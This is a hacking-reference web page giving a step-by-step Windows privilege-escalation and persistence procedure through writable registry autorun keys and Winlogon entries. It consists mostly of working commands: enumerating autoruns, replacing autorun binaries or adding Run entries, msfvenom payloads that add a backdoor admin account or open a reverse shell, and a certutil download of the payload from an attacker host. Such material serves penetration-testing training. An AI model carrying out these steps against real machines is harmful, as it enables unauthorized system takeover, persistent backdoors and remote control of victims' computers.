# Windows Registry Autorun Privilege Escalation

> Exploiting misconfigured Windows Registry autorun keys to execute malicious payloads with elevated privileges during system or user startup.

- **URL:** https://hackindex.io/platforms/windows/privilege-escalation/registry-autoruns
- **Path:** Windows > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/windows/privilege-escalation.md)
- **Published:** 2026-03-15
- **Updated:** 2026-07-14

Windows registry autorun keys launch programs automatically at login or boot. HKLM keys run as the logged-in user with their session privileges, but if a SYSTEM or Administrator process reads and executes autorun entries, or if you can modify entries pointing to executables that run as SYSTEM, you get privileged code execution. The most direct path is finding a writable autorun path whose binary runs as a high-privileged user.

## Prerequisites Check

```bash
whoami /priv
whoami /groups
```

## Step 1: Enumerate Autorun Entries

**Using winPEAS:**

```bash
.\winpeas.exe | findstr /i "autorun\|run key"
```

**Manual registry enumeration:**

```bash
# Machine-wide autorun keys (run as logged-in user)
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run

# User-specific autorun keys
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

# Additional autorun locations
reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
reg query HKLM\System\CurrentControlSet\Services
```

**Using PowerUp:**

```powershell
Import-Module .\PowerUp.ps1
Get-ModifiableRegistryAutoRun
```

## Step 2: Check Permissions on Autorun Binaries

For each entry found, check if the binary path is writable:

```bash
# Get the path from the registry value
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

# Check permissions on the binary
icacls "C:\Path\To\autorun-binary.exe"
accesschk.exe -quvw "C:\Path\To\autorun-binary.exe" /accepteula
```

Look for these permission flags on your user, `BUILTIN\Users`, or `Everyone`:

- `(F)` full control
- `(M)` modify
- `(W)` write

## Step 3a: Writable Autorun Binary (Replace It)

If the binary the autorun key points to is writable:

```bash
# Back up the original
copy "C:\Path\To\autorun-binary.exe" "C:\Path\To\autorun-binary.exe.bak"

# Replace with payload
copy /y C:\Windows\Temp\payload.exe "C:\Path\To\autorun-binary.exe"
```

Wait for the next login or trigger if possible.

## Step 3b: Writable Registry Key (Change the Path)

If the registry key itself is writable, change the path to your payload:

```bash
# Check registry key permissions
accesschk.exe -uwkqs Users HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /accepteula

# If writable, add or modify an entry
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "UpdateService" /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f
```

## Step 3c: Add HKCU Autorun (No Privileges Needed)

You can always write to your own `HKCU` autorun keys. This executes your payload when you log in: only useful if you are already SYSTEM or can escalate another way, but worth knowing:

```bash
reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "UpdateHelper" /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f
```

More useful: if an admin user regularly logs in on this machine and your payload is in HKCU for that user's profile (accessed via another technique), you can chain to their session.

## Step 4: Create the Payload

```bash
# Add admin user
msfvenom -p windows/x64/exec CMD="net user hacker Password123! /add && net localgroup administrators hacker /add" -f exe -o payload.exe

# Reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe -o payload.exe
```

Transfer to target:

```bash
certutil -urlcache -split -f http://$LHOST:8080/payload.exe C:\Windows\Temp\payload.exe
```

## Step 5: Trigger Execution

Autorun keys fire on the next login. Wait for an admin or SYSTEM process to log in, or force a logout/login cycle:

```bash
# Check if any other users are logged in
query user
qwinsta

# Log off current session (will trigger autoruns on next login)
logoff
```

## Winlogon Keys

`Winlogon` registry entries are especially powerful: they run as SYSTEM during the login process:

```bash
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
```

Check `Userinit` and `Shell` values. If these point to writable binaries or if you can modify the key, your payload runs as SYSTEM at every login.

## References

- [Run and RunOnce Registry Keys](https://docs.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys) -  Microsoft Docs Full list of autorun locations and execution timing.
- [PowerSploit](https://github.com/PowerShellMafia/PowerSploit) -  Get-ModifiableRegistryAutoRun Automated writable autorun path detection.